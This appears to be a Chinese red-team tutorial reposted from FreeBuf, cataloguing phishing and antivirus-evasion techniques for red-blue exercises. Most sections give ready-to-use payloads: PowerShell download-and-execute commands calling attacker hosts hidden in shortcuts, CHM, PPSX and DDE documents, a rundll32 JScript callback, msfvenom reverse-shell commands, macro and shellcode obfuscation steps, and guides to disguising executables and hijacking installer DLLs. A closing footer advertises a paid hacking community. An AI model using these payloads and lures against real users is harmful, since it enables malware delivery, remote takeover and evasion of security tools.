|
原文链接:【2022HVV系列】|9-红蓝对抗之钓鱼篇:常见钓鱼思路总结 (qq.com)
目录
- 1、文档连接钓鱼
- 1)LINK链接钓鱼
- 2)LINK快捷方式钓鱼
- 3)CHM文档钓鱼
- CHM文档bypass waf
- 4)HTA钓鱼
- 5)宏钓鱼
- 宏钓鱼 bypass waf
- 6)OLE(Object Linking and Embedding,对象链接与嵌入)
- 7)嵌入JS元素
- 8)利用模板文件注入宏指令
- 9)CVE
- 2、伪造界面钓鱼
- 1)PPT动作按钮特性构造 PPSX 钓鱼
- 3、exe等可执行文件
- 1)shellcode 异或加密免杀(golang)
- 2)shellcode转换免杀
- 3)shellcode编译免杀
- 4)shellcode分离加载免杀
- 5)绕过沙盒
- 6)exe伪装
- 7)绕过行为检测
- 8)DLL劫持+重新制作安装包
- 9)免杀思路
- 4、邮件钓鱼
- 5、flash钓鱼
- 6、网站钓鱼
复制代码
1、文档连接钓鱼1)LINK链接钓鱼首先说明一点:ftp加! 可以执行命令
编辑
首先创建一个ftp的快捷方式,然后新建一个文件名 aaa.dll ,然后内容为cs的后门恶意链接(powershell上线命令)
快捷方式的起始位置留空,目标为:C:\Winodws\System32\ftp.exe -""s:aaa.dll
快捷方式的图标以及名字可以进行适当的伪装
编辑
这里演示一下生成后门恶意链接
运行CS,根据图片点击:Scripted Wed Delivery(s)
编辑
主机地址为CS服务器端地址,监听使用之前的监听就可以,然后执行
编辑
这里就创建好了一个 powershell 的回连恶意链接 复制即可
编辑
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/a'))"但是如果直接第三方调用powershell加参的话会被360等拦截,所以要采用无参调用
编辑
2)LINK快捷方式钓鱼此方式与上述方式类似
首先查找后门绝对路径,可以提权后门的有很多文件,这里以 powershell.exe 进行演示
编辑
打开目录,找到路径为:
C:\Windows\System32\WindowsPowerShell\v1.0
生成后门恶意链接
编辑
编辑
编辑
创建 lnk 创建方式
将powershell恶意代码放入进行修改,将代码最前端添加绝对路径
编辑
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c "IEX ((new- object net.webclient).downloadstring('http://x.x.x.x:80/a'))"这里免杀的话,使用base64等等进行混淆
然后对该文件右键选择进行创建快捷方式,对快捷方式右键选择属性,在目标写入恶意回弹代码
编辑
可以对图标和名称进行适当的更改,之后就可以开始钓鱼了
3)CHM文档钓鱼使用 EasyCHM 可以轻松的新建一个 chm 文件
EasyCHM、Cobalt Strike、MyJSRat 钓鱼流程:制作html -> 制作chm文件 -> 伪装 -> 打开chm上线
首先创建个空文件夹
编辑
创建html文件,代码如下
- <html>
- <head>
- <title>Mousejack replay</title>
- </head>
- <body>
- command exec
- <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
- <PARAM name="Command" value="ShortCut">
- <PARAM name="Button" value="Bitmap::shortcut">
- <PARAM name="Item1" value=',calc.exe'>
- <PARAM name="Item2" value="273,1,1">
- </OBJECT>
- <SCRIPT>
- x.Click();
- </SCRIPT>
- </body>
- </html>
复制代码
编辑
注意:",payload",上面代码中为",calc.exe",此处,payload前面要加一个英文版的逗号,,否则打开chm文档时会出错
此处打开文档执行的calc,也就是计算器
Easy CHM制作CHM文档
新建工程
编辑
工程目录选择我们建立的test文件夹(html文件放在文件夹内)
编辑
编辑
点击编译 生成CHM
编辑
编辑
双击打开查看
编辑
弹出计算机
尝试使用 Cobalt Strike 木马 + CHM 上线
Cobalt Strike -> 点击attacks -> web Drive by -> scriped web Delivery
上文有详细步骤
编辑
设立好监听点击开始
编辑
然后将 calc.exe 替换为:
- <html>
- <head>
- <title>Mousejack replay</title>
- </head>
- <body>
- command exec
- <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
- <PARAM name="Command" value="ShortCut">
- <PARAM name="Button" value="Bitmap::shortcut">
- <PARAM name="Item1" value=",powershell.exe, -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/test'))">
- <PARAM name="Item2" value="273,1,1">
- </OBJECT>
- <SCRIPT>
- x.Click();
- </SCRIPT>
- </body>
- </html>
复制代码
编辑
注意:exe后面要再加一个英文版逗号,否则无法执行exe,再是注意生成出来的payload字符串的双引号跟单引号的冲突
再重新生成,查看是否上线
编辑
MyJSRat配合CHM进行上线
MyJSRat下载地址:https://github.com/Ridter/MyJSRat
python2运行下面的命令:
编辑
此处使用交互模式
python2 MyJSRat.py -i 192.168.27.180 -p 8080Kali Linux 运行访问
编辑
复制代码替换payload,记得加上逗号
- <html>
- <head>
- <title>Mousejack replay</title>
- </head>
- <body>
- command exec
- <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
- <PARAM name="Command" value="ShortCut">
- <PARAM name="Button" value="Bitmap::shortcut">
- <PARAM name="Item1" value=',rundll32.exe, javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.27.180:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}'>
- <PARAM name="Item2" value="273,1,1">
- </OBJECT>
- <SCRIPT>
- x.Click();
- </SCRIPT>
- </body>
- </html>
复制代码
然后重新生成CHM并且执行
编辑
在kali上可以进行命令交互
CHM内容伪装
先拿一个正常的CHM文档内容,转为html
通过hh命令,转为html
hh -decompile .[\\html](file://html) CSS2.0中文手册.chm 编辑
钓鱼html嵌入到 html/css2/c_color.html
编辑
编辑
工程目录选择css2
编辑
编辑
注意此处,一定要诱导用户点击到 c_color.html 模块才可以
CHM文档bypass waf(1)利用powershell无参运行,但是要把powershell脚本打包编译成chm,然后利用自带hh.exe 。hh.exe具有decompile(反编译,将chm返回成html,其实就类似chm可以比喻成一个压缩包,decompile是解压缩)的功能,可以将打包进chm的文件释放出来。
HH.EXE -decompile C:\Windows\Temp ./XMLconvert.chm
(2) CHM本身支持js(jscript)语法,可以利用c#写个弹shell的,然后利用利用DotNetToJScript转js,然后在把js混淆加密进行打包免杀,利用cscript或者wscript来执行js。类似的还有执行hta文件等等。
4)HTA钓鱼HTA 是 HTML Application 的缩写,直接将 HTML 保存成 HTA 的格式,是一个独立的应用软件。HTA虽然用HTML、JS和CSS编写,缺比普通网页权限大得多,它具有桌面程序的所有权限。就是一个 html 应用程序,双击就可以运行
正常是msf生成的hta文件弹shell,假设目标存在命令执行的漏洞,那么咱们在目标上执行如下即可返回msf的shell
mshta http://127.0.0.1:8080/xxx.hta
远程调用一般会被杀,最好本地运行
利用github开源项目可以绕过部分waf
https://github.com/mdsecactivebreach/CACTUSTORCH
编辑
5)宏钓鱼正常操作是利用cs生成宏代码,复制到vb里面去
然后显示的是宏被禁用,为了增强迷惑性,可以进行编辑一下
首先在word选项中开启开发工具
编辑
然后把宏打开
创建一个 test.doc
编辑
然后点击 Visual Basic
编辑
使用Cobalt Strike 生成木马
编辑
点击添加一个监听端口,注意:如果端口在防火墙上策略有误,则会导致反弹失败
编辑
编辑
将代码粘贴到刚才打开的地方
编辑
然后保存即可
doc格式和其它启用宏的模板的格式都可以
doc格式和原来格式的图标一样
运行文件,发现cs上线
编辑
可以使用EvilClippy进行免杀
https://github.com/outflanknl/EvilClippy
使用一个正常的vba文件和恶意文件来进行混淆,来躲避杀软检测
Excel文件也可以进行钓鱼
新建一个Excel,在左下角的sheet处右键单击,选择插入:
编辑
在弹出的对话框中选择 MS Excel 4.0 宏表,点击确定
编辑
完成之后左下角多了一栏 宏
编辑
分别在A1和A2输入
=exec("c:\windows\system32\cmd.exe")
=halt()
并将A1改为Auto_Open,修改完回车,这样就可以一打开文件就加载指令最后保存为xlsm后缀的文件
这里的exec其实是执行的cmd命令,我们可以借此来上线CS等操作
编辑
宏钓鱼 bypass waf(1)使用远程加载XSL文件达到免杀
https://github.com/sevagas/macro_pack
https://github.com/mdsecactivebreach/SharpShooter
(2)高级VBA宏免杀
参考 https://www.certego.net/en/news/advanced-vba-macros/
6)OLE(Object Linking and Embedding,对象链接与嵌入)是一种把一个文件嵌入到另一个文件中的技术
msfvenom -p windows/meterpreter/reverse_http lhost=ip lport=port -f vbs -o payload.vbs
在开源的 openoffice 中可以直接只有DDE函数,像 =DDE("cmd";"/C calc";"123") 这样调用。而在正规的office套件中则移除了DDE函数,但是我们还是可以使用application|topic!item这一格式的三元表达式调用DDe。
注意:该方法的提示窗口只提示 application 而不提示 topic
excel:(如果前缀是"="、"+" 或 "-",则将其余部分视为表达式)
=cmd|'/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString("http://XXXX/getshell.ps1");IEX $e'!_xlbgnm.A1
word:
打开一个新的word文档,按下键盘的组合键 CTRL + F9 ,在文档中出现"{}"之后,将下面的这段代码复制到两个大括号之间
{ DDEAUTO c:\windows\system32\cmd.exe "/k calc.exe" }
msf中可直接用,生成一个rtf文档,点击即可上线
use exploit/windows/fileformat/office_dde_delivery
set lport 4444
set lhost xx.xx.xx.xx
7)嵌入JS元素这个方式的原理是,如果我们往word中插进联机视频,那么再word的压缩包 word/document.xml里的embeddedHtml项中会出现联机视频对应的内嵌html代码,我们可以通过修改这些代码,插入恶意js代码。
一般的利用方式是通过js下载恶意文件,但是似乎是因为word的一些保护机制,不能实现页面跳转或者自动点击下载等操作
- <html>
- <body>
- <script>
- var a = document.createElement('a');
- console.log(a);
- document.body.appendChild(a);
- a.style = 'display: none';
- a.href = "http://149.129.64.180/evil.exe"; //该行若存在,打开word文件会报错
- a.download = fileName;
- window.URL.revokeObjectURL(url);
- </script>
- <script>
- a.click();
- </script>
- </body>
- </html>
复制代码
8)利用模板文件注入宏指令原理是,先创建一个带模板的文档,再创一个启用宏的模板文件。然后在带模板的文档的压缩包里面修改一些内容,使其指向的模板修改为我们自己创建的模板文件,这之间的过程可以由smb协议完成,故过查杀几率较高。
我们在启用宏的模板文件(doc3.dotm)里写入宏。
Sub AutoOpen()Shell "calc"End Sub 编辑
9)CVEOffice历史上出现的可导致远程命令执行的漏洞有很多、如:CVE-2017-0199、CVE-2017-8570、CVE-2017-8759、CVE-2017-11882、CVE-2018-0802 等
CVE-2017-0199
https://github.com/bhdresh/CVE-2017-0199
影响版本:office 2016、2013、2010、2007
CVE-2017-11882
https://github.com/Ridter/CVE-2017-11882/
影响版本:office 2016、2013、2010、2007、2003
CVE-2018-0802
https://github.com/rxwx/CVE-2018-0802
影响版本:office 2016、2013 Server Pack1、2010 Server Pack2、2007 Server Pack3
2、伪造界面钓鱼1)PPT动作按钮特性构造 PPSX 钓鱼运行程序比如可以选用cs powershell 的代码。选择ppsx进行保存
编辑
然后弹出的窗口处
编辑
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:80/a'))"powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http:'+[char] 0x2F+[char] 0x2F+'cccn.nl'+[char] 0x2F+'c.php',\"$env:temp\ii.jse\"); Invoke-Item \"$env:temp\ii.jse\""然后将格式保存为ppsx格式保存即可 执行即可上线
3、exe等可执行文件1)shellcode 异或加密免杀(golang)利用 msfvenom 生成一段 shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp -f num LHOST=192.168.141.136 LPORT=1234
利用 golang ,将shellcode进行异或
编辑
进行编译(在windows进行编译)
go build xxx.go运行即可
也可以利用aes加密等等
编辑
2)shellcode转换免杀C#编译成exe -> exe -> 转js -> js混淆
参考文章: https://wtfsec.org/posts/%E5%85% ... %E5%AE%9E%E8%B7%B5/
利用DotNetToJScript转exe为js
https://github.com/tyranid/DotNetToJScript
编辑
3)shellcode编译免杀使用msf生成一个PHP马(也可以其他语言的,比如perl啥的)
msfvenom -a x86 --platform Windows -p php/meterpreter_reverse_tcp LHOST=<Your IP Address>LPORT=<Your Port to Connect On>-f raw > shell.php
利用bamcompile将php转为exe
bamcompile -w -c shell.php shell.exe
4)shellcode分离加载免杀分离一般分2种,一个是远程加载shellcode,另外是通过运行程序的时候将加密数据传入
远程加载可以利用socket创建套接字或者直接http请求远程地址,钓鱼的时候可以将shellcode放在使用说明啥的
shellcode loader github开源项目很多
编辑
5)绕过沙盒主要思想:判断父进程是否为Debugger:在沙盒内被调试
判断时间是否被加速:一般沙盒内的程序时间都会加速
判断系统盘是否大于50GB:一个正常的PC的系统盘都会大于50GB
虚拟机其他特征
https://github.com/dycsy/ShellcodeLoader
https://github.com/1y0n/AV_Evasion_Tool
编辑
编辑
6)exe伪装1、图标伪装
这里使用 Restorator 2018 小工具进行图标修改
http://www.pc6.com/softview/SoftView_585736.html
激活将附带的激活码填入即可
然后使用 Restorator 修改图标
直接点击exe文件拖入即可,如果没有图标文本的话,可以在电脑找一个exe格式的图标拖入,然后显示图标后复制过来即可
图标的话需要ico格式
https://www.easyicon.net/iconsearch/⾳乐ico/
http://www.bitbug.net/在线制作ico图标
在这⾥下载图标,并在bitbug转换格式即可!
编辑
更改图标直接再图标处右键导入
2、RTLO
通过重命名,在a后面右键,插入Unicode控制字符 -> RLO
编辑
编辑
编辑
实测钓鱼方式有些古老,不管是不是病毒只要使用此方式伪装,360都会查杀
3、rar解压自运行
木马文件:artifact.exe 迷惑文件:calc.exe
进入winrar,选中这两个文件,右键添加至压缩包,创建自解压格式压缩文件
编辑
高级 -> 自解压选项 -> 设置
提取前打开伪装文件,提取后运行马
编辑
模式 -> 全部隐藏
编辑
更新 -> 解压并更新文件,覆盖所有文件
编辑
双击可以打开计算机,CS上线
编辑
7)绕过行为检测部分敏感行为可操作windowsAPI
比如360对添加用户会拦截
可以操作以下两个API绕过
NetUserAdd
NetLocalGroupAddMembers
其他的免杀还有内存(一般可用壳,但大多基本壳都在waf的特征库中)、花指令等等
8)DLL劫持+重新制作安装包DLL劫持指的是病毒通过一些手段来劫持或者替换正常的DLL,欺骗正常程序预先准备好的恶意DLL
如下面图片中的,LPK.dll是应用程序运行所需要加载的DLL,该系统文件默认在C:\Winodws\system32路径下,但由于windows优先搜索当前路径,所以当我们把恶意LPK.dll放在应用程序同一路径下,便会被程序成功加载,从而执行恶意操作
编辑
在蓝队可以利用此方法反制红队,例如在准备好的虚拟机中点击红队的钓鱼邮件,并准备一些让红队感兴趣的东西
比如梯子的安装包以及梯子的账号密码
这里可能会用到拿破轮胎大佬写的DLL注入工具
编辑
使用方法:
1.输入CS或者msf生成的shellcode生成免杀DLL文件
2.添加需要劫持的软件或者dll
3.劫持过后会在运行目录生成一个DLL和配置文件
4.需要把两个文件放在被劫持的软件同目录下才可以运行
注意:
本文采用EasyConnectInstaller做测试,使用其他软件测试的话,可以使用Process Monitor来对系统进程进行监控,找到系统程序调用DLL的情况
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon
参考文章:
https://blog.csdn.net/weixin_35771144/article/details/111056447
使用CS生成shellcode
编辑
编辑
把shellcode放入工具然后生成dll即可
编辑
选择DLL处选择生成的DLL
编辑
注入目标为
C:\Program Files (x86)\Sangfor\SSL\SangforCSClient 下的
编辑
注入到注册表后,将 wwwcomw.dll 和 conf.inf 放入到软件目录下
编辑
然后运行即可上线
然后接下来使用NSIS重新制作安装包
使用NSIS制作安装包可以参考: https://www.cnblogs.com/modou/p/3573772.html
编辑
9)免杀思路1、CS生成exe的payload
2、exe-payload 放置公网服务器
3、再CS生成python-payload
4、将python-payload转base64值
5、base64值的payload再用序列化转码
6、序列化转码后的payload再用反序列化转码
7、转成反序列化后的payload再用python3的tinyaes混淆
8、混淆完再用另外的东西加壳成对方环境执行的文件类型即可
可以查查掩日
最终形成的文件类型,执行的原理仅仅是运行下载公网服务器第一步上次的payload并运行
GoFildBinder
https://github.com/Yihsiwei/GoFileBinder
golang免杀捆绑器 捆绑器免杀效果会持续更新下去
使用以下命令进行捆绑器编译
go build GoFileBinder.go
使用以下命令生成捆绑文件(注:GoFileBinder.exe单独放入一个文件夹中)
GoFileBinder.exe 木马.exe xxx.txt
也可以尝试使用kali自带的upx
4、邮件钓鱼包含邮件服务器相关环境搭建,邮件信息收集,参考:
https://www.freebuf.com/articles/web/260391.html
5、flash钓鱼源码: https://github.com/r00tSe7en/Fake-flash.cn
尝试自解压或者配合捆绑
6、网站钓鱼制作钓鱼网站,克隆网站
cs,msf 都有这个功能
setoolkit
本文作者:YLion, 转载请注明来自FreeBuf.COM
————————————————
【2022HVV系列】|9-红蓝对抗-红队打点的那些事
【2022HVV系列】|8-应急响应之入侵排查
【2022HVV系列】|7-Windows主机入侵痕迹排查办法
【2022HVV系列】|6-记一次hw中的上线骚姿势(异速联+用友U8)
【2022HVV系列】|5-记一次溯源过程
【2022HVV系列】|4-红蓝对抗 | 红队打点的那些事
【2022HVV系列】|3-服务器入侵排查
【2022HVV系列】| 2-应急响应常用工具
【2022HVV系列】| 1-应急响应方法论思维导图
————————————————
【Hacking黑白红】,一线渗透攻防实战交流公众号
编辑
回复“电子书”获取web渗透、CTF电子书:
回复“视频教程”获取渗透测试视频教程;
回复“内网书籍”获取内网学习书籍;
回复“CTF工具”获取渗透、CTF全套工具;
回复“内网渗透”;获取内网渗透资料;
回复“护网”;获取护网学习资料 ;
回复“python”,获取python视频教程;
回复“java”,获取Java视频教程;
回复“go”,获取go视频教程
知识星球
【Hacking藏经阁】知识星球致力于分享技术和认知。
1、技术方面。主攻渗透测试(web和内网)、CTF比赛、逆向、护网行动等;
400G渗透教学视频、80多本安全类电子书、50个渗透靶场(资料主要来自本人总结、以及学习过程中购买的课程)
2、认知方面。副业经营、人设IP打造,具体点公众号运营、抖*yin等自媒体运营(目前主要在运营两个平台4个号)。
如果你也想像我一样,不想35岁以后被动的去面试,那么加入星球我们一起成长。
编辑
欢迎加入99米/年,平均每天2毛7分钱,学习网络安全一整年。
编辑
|
|